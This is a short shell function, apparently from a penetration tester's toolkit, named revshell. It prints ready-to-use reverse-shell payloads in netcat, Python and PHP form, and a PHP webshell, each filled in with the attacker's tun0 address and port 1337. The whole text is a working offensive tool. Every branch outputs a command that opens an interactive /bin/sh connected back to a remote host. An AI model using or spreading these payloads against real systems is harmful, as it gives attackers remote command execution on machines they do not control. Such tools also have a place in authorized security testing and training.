- Create msf rc file for standard msfvenom binaries
function revshell() {
# $1 language
# Default tun0 1337
INF=tun0
PORT=1337
if [ -z "$1" ]
then
echo "Usage: revshell <Language>"
echo "Language= nc || python || php-short || php-long"
return
fi
LANG=$1
IP=$(ifconfig $INF | grep netmask | sed 's/^ *//g' | cut -d " " -f2)
case $LANG in
"nc")
echo "rm /tmp/ava;mkfifo /tmp/ava;cat /tmp/ava|/bin/sh -i 2>&1|nc $IP $PORT >/tmp/ava"
;;
"python")
echo python -c \'import socket,subprocess,os\;s=socket.socket\(socket.AF_INET, socket.SOCK_STREAM\)\;s.connect\(\(\"$IP\",$PORT\)\)\;os.dup2\(s.fileno\(\),1\)\;os.dup2\(s.fileno\(\),2\)\;p=subprocess.call\(\[\"/bin/sh\",\"-i\"\]\)\;\'
;;
"php-short")
echo php -r \'\$sock=fsockopen\(\"$IP\",$PORT\)\;exec\(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\"\)\;\'
;;
"php-long")
cat /usr/share/webshells/php/php-reverse-shell.php | sed "s/127.0.0.1/$IP/g" | sed "s/1234/$PORT/"
;;
*)
echo "Wrong Language!"
esac
}